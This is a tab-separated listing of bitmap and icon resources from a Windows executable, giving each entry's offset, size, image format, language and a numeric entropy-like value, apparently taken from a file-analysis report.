RT_BITMAP	0x358048	0xc2a	Device independent bitmap graphic, 64 x 16 x 24, image size 3074, resolution 2834 x 2834 px/m	English	United States	0.42485549132947975
RT_BITMAP	0x358c74	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.9367816091954023
RT_BITMAP	0x358e80	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.4482758620689655
RT_BITMAP	0x35908c	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.33524904214559387
RT_BITMAP	0x359298	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.3371647509578544
RT_BITMAP	0x3594a4	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.6320987654320988
RT_BITMAP	0x3597d0	0x2256	Device independent bitmap graphic, 324 x 9 x 24, image size 8750, resolution 2834 x 2834 px/m	English	United States	0.0608646188850967
RT_BITMAP	0x35ba28	0x602a	Device independent bitmap graphic, 192 x 32 x 32, image size 24578, resolution 2834 x 2834 px/m	English	United States	0.2250385896498497
RT_BITMAP	0x361a54	0x2028	Device independent bitmap graphic, 128 x 16 x 32, image size 0	English	United States	0.24708454810495628
RT_BITMAP	0x363a7c	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11570247933884298
RT_BITMAP	0x364e58	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.10999606454151908
RT_BITMAP	0x366234	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11511216056670602
RT_BITMAP	0x367610	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	English	United States	0.13157894736842105
RT_BITMAP	0x3684c4	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11983471074380166
RT_BITMAP	0x3698a0	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.27371113734750097
RT_BITMAP	0x36ac7c	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.2699724517906336
RT_BITMAP	0x36c058	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.2426210153482881
RT_BITMAP	0x36d434	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	English	United States	0.3413078149920255
RT_BITMAP	0x36e2e8	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.23868555686737505
RT_BITMAP	0x36f6c4	0x5a66	Device independent bitmap graphic, 77 x 75 x 32, image size 23102, resolution 2834 x 2834 px/m	English	United States	0.046365914786967416
RT_BITMAP	0x37512c	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x3751e4	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x375328	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.08688699360341151
RT_ICON	0x3761d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.11507220216606498
RT_ICON	0x376a78	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.12269585253456221
RT_ICON	0x377140	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.08959537572254335
RT_ICON	0x3776a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.05912863070539419
RT_ICON	0x379c50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.08653846153846154
RT_ICON	0x37acf8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.13278688524590163
RT_ICON	0x37b680	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.17109929078014185
RT_ICON	0x37bae8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.17643923240938167
RT_ICON	0x37c990	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.2148014440433213
RT_ICON	0x37d238	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.21658986175115208
RT_ICON	0x37d900	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.16835260115606937
RT_ICON	0x37de68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.09885892116182572
RT_ICON	0x380410	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.14845215759849906
RT_ICON	0x3814b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.22459016393442624
RT_ICON	0x381e40	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.2632978723404255
RT_ICON	0x3822a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.0943496801705757
RT_ICON	0x383150	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.11868231046931407
RT_ICON	0x3839f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.11981566820276497
RT_ICON	0x3840c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.09320809248554913
RT_ICON	0x384628	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.06587136929460581
RT_ICON	0x386bd0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.1024859287054409
RT_ICON	0x387c78	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.14631147540983608
RT_ICON	0x388600	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.2127659574468085
RT_ICON	0x388a68	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.13326226012793177
RT_ICON	0x389910	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.14620938628158844
RT_ICON	0x38a1b8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.14400921658986174
RT_ICON	0x38a880	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.1199421965317919
RT_ICON	0x38ade8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.09657676348547718
RT_ICON	0x38d390	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.14681050656660413
RT_ICON	0x38e438	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.20942622950819673
RT_ICON	0x38edc0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.26152482269503546
RT_ICON	0x38f228	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.13326226012793177
RT_ICON	0x3900d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.15162454873646208
RT_ICON	0x390978	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.15668202764976957
RT_ICON	0x391040	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.11632947976878613
RT_ICON	0x3915a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.08641078838174274
RT_ICON	0x393b50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.13320825515947468
RT_ICON	0x394bf8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.22909836065573772
RT_ICON	0x395580	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.2703900709219858
RT_ICON	0x3959e8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152, 16 important colors	English	United States	0.17926829268292682
RT_ICON	0x396050	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512, 16 important colors	English	United States	0.28091397849462363
RT_ICON	0x396338	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.44256756756756754
RT_ICON	0x396460	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.3792643923240938
RT_ICON	0x397308	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.40974729241877256
RT_ICON	0x397bb0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.39667630057803466
RT_ICON	0x398118	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.06636313874012487
RT_ICON	0x3da140	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.23537344398340249
RT_ICON	0x3dc6e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.31590056285178236
RT_ICON	0x3dd790	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5806737588652482
RT_ICON	0x3ddbf8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5218550106609808
RT_ICON	0x3deaa0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.12477808681243897
RT_ICON	0x420ac8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.30414937759336097
RT_ICON	0x423070	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.42567567567567566
RT_ICON	0x423198	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2695086705202312
RT_ICON	0x423700	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.2862903225806452
RT_ICON	0x4239e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.32581227436823107
RT_ICON	0x424290	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.24865591397849462
RT_ICON	0x424578	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.24052346570397112
RT_ICON	0x424e20	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.44594594594594594
RT_ICON	0x424f48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3302023121387283
RT_ICON	0x4254b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.4527027027027027
RT_ICON	0x4255d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.28395953757225434
RT_ICON	0x425b40	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.44256756756756754
RT_ICON	0x425c68	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.282514450867052
RT_ICON	0x4261d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.36824324324324326
RT_ICON	0x4262f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.17413294797687862
RT_ICON	0x426860	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.44594594594594594
RT_ICON	0x426988	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2023121387283237
RT_ICON	0x426ef0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.3614864864864865
RT_ICON	0x427018	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.22832369942196531
RT_ICON	0x427580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.5101351351351351
RT_ICON	0x4276a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.37789017341040465
RT_ICON	0x427c10	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.4560810810810811
RT_ICON	0x427d38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2218208092485549
RT_ICON	0x4282a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.5135135135135135
RT_ICON	0x4283c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.22615606936416185
RT_ICON	0x428930	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.5067567567567568
RT_ICON	0x428a58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.22109826589595374
RT_ICON	0x428fc0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.5135135135135135
RT_ICON	0x4290e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.37716763005780346
RT_ICON	0x429650	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.4391891891891892
RT_ICON	0x429778	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2218208092485549
RT_ICON	0x429ce0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.44256756756756754
RT_ICON	0x429e08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.282514450867052
RT_ICON	0x42a370	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	United States	0.4527027027027027
RT_ICON	0x42a498	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2832369942196532
RT_ICON	0x42aa00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.2310767590618337
RT_ICON	0x42b8a8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.05066647927330828
RT_ICON	0x46d8d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.18112033195020746
RT_ICON	0x46fe78	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.14072494669509594
RT_ICON	0x470d20	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.015016125691629434
RT_ICON	0x4b2d48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.0700207468879668
RT_ICON	0x4b52f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.10261194029850747
RT_ICON	0x4b6198	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.12454873646209386
RT_ICON	0x4b6a40	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.1336405529953917
RT_ICON	0x4b7108	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.11560693641618497
RT_ICON	0x4b7670	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08402489626556017
RT_ICON	0x4b9c18	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.11937148217636022
RT_ICON	0x4bacc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.15901639344262294
RT_ICON	0x4bb648	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.23404255319148937
RT_ICON	0x4bbab0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.13539445628997868
RT_ICON	0x4bc958	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.15117328519855597
RT_ICON	0x4bd200	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.14400921658986174
RT_ICON	0x4bd8c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.13222543352601157
RT_ICON	0x4bde30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.0995850622406639
RT_ICON	0x4c03d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.1423545966228893
RT_ICON	0x4c1480	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.2012295081967213
RT_ICON	0x4c1e08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2650709219858156
RT_ICON	0x4c2270	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.2134861407249467
RT_ICON	0x4c3118	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.2527075812274368
RT_ICON	0x4c39c0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.23732718894009217
RT_ICON	0x4c4088	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.20881502890173412
RT_ICON	0x4c45f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1275933609958506
RT_ICON	0x4c6b98	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.19113508442776736
RT_ICON	0x4c7c40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.23401639344262296
RT_ICON	0x4c85c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3395390070921986
RT_ICON	0x4c8a30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1812366737739872
RT_ICON	0x4c98d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.1967509025270758
RT_ICON	0x4ca180	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.18433179723502305
RT_ICON	0x4ca848	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.1531791907514451
RT_ICON	0x4cadb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.15280082987551868
RT_ICON	0x4cd358	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2101313320825516
RT_ICON	0x4ce400	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3008196721311475
RT_ICON	0x4ced88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3670212765957447
RT_ICON	0x4cf1f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.43352601156069365
RT_ICON	0x4cf758	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3316390041493776
RT_ICON	0x4d1d00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5815602836879432
RT_ICON	0x4d2168	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1636460554371002
RT_ICON	0x4d3010	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.21660649819494585
RT_ICON	0x4d38b8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.18951612903225806
RT_ICON	0x4d3f80	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.16329479768786126
RT_ICON	0x4d44e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08350622406639004
RT_ICON	0x4d6a90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.1446998123827392
RT_ICON	0x4d7b38	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1864754098360656
RT_ICON	0x4d84c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.225177304964539
RT_ICON	0x4d8928	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.049307036247334755
RT_ICON	0x4d97d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.0631768953068592
RT_ICON	0x4da078	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.0673963133640553
RT_ICON	0x4da740	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.0708092485549133
RT_ICON	0x4daca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.0254149377593361
RT_ICON	0x4dd250	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.040103189493433396
RT_ICON	0x4de2f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.0651639344262295
RT_ICON	0x4dec80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.09663120567375887
RT_ICON	0x4df0e8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.05063965884861407
RT_ICON	0x4dff90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.061371841155234655
RT_ICON	0x4e0838	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.06682027649769585
RT_ICON	0x4e0f00	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.06864161849710983
RT_ICON	0x4e1468	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.02562240663900415
RT_ICON	0x4e3a10	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.04549718574108818
RT_ICON	0x4e4ab8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.06557377049180328
RT_ICON	0x4e5440	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.10017730496453901
RT_ICON	0x4e58a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.11194029850746269
RT_ICON	0x4e6750	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.12409747292418773
RT_ICON	0x4e6ff8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.10887096774193548
RT_ICON	0x4e76c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10910404624277456
RT_ICON	0x4e7c28	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07593360995850622
RT_ICON	0x4ea1d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.13062851782363977
RT_ICON	0x4eb278	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.16639344262295083
RT_ICON	0x4ebc00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.19680851063829788
RT_ICON	0x4ec068	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.15511727078891258
RT_ICON	0x4ecf10	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.033283279581027905
RT_ICON	0x52ef38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.11919087136929461
RT_ICON	0x5314e0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.2889125799573561
RT_ICON	0x532388	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.04140530224576146
RT_ICON	0x5743b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.16690871369294605
RT_ICON	0x576958	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.12260127931769722
RT_ICON	0x577800	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.021444211024647157
RT_ICON	0x5b9828	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07842323651452282
RT_ICON	0x5bbdd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.23667377398720682
RT_ICON	0x5bcc78	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.029618013433144953
RT_ICON	0x5feca0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1266597510373444
RT_ICON	0x601248	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.380863539445629
RT_ICON	0x6020f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.4548736462093863
RT_ICON	0x602998	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.4078341013824885
RT_ICON	0x603060	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3432080924855491
RT_ICON	0x6035c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.21203319502074688
RT_ICON	0x605b70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.31378986866791747
RT_ICON	0x606c18	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.41762295081967216
RT_ICON	0x6075a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5425531914893617
RT_ICON	0x607a08	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.34461620469083154
RT_ICON	0x6088b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.44314079422382674
RT_ICON	0x609158	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.3554147465437788
RT_ICON	0x609820	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3511560693641618
RT_ICON	0x609d88	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1813278008298755
RT_ICON	0x60c330	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.325281425891182
RT_ICON	0x60d3d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3557377049180328
RT_ICON	0x60dd60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5230496453900709
RT_ICON	0x60e1c8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.34461620469083154
RT_ICON	0x60f070	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.44314079422382674
RT_ICON	0x60f918	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.3554147465437788
RT_ICON	0x60ffe0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3511560693641618
RT_ICON	0x610548	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1813278008298755
RT_ICON	0x612af0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.325281425891182
RT_ICON	0x613b98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3557377049180328
RT_ICON	0x614520	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5230496453900709
RT_ICON	0x614988	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.12180170575692964
RT_ICON	0x615830	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.013396159422433943
RT_ICON	0x657858	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.060477178423236515
RT_ICON	0x659e00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.15698294243070363
RT_ICON	0x65aca8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.020060952155516763
RT_ICON	0x69ccd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07634854771784233
RT_ICON	0x69f278	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.07862473347547974
RT_ICON	0x6a0120	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.012811788028523242
RT_ICON	0x6e2148	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.049273858921161824
RT_ICON	0x6e46f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5266524520255863
RT_ICON	0x6e5598	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.2048628576500873
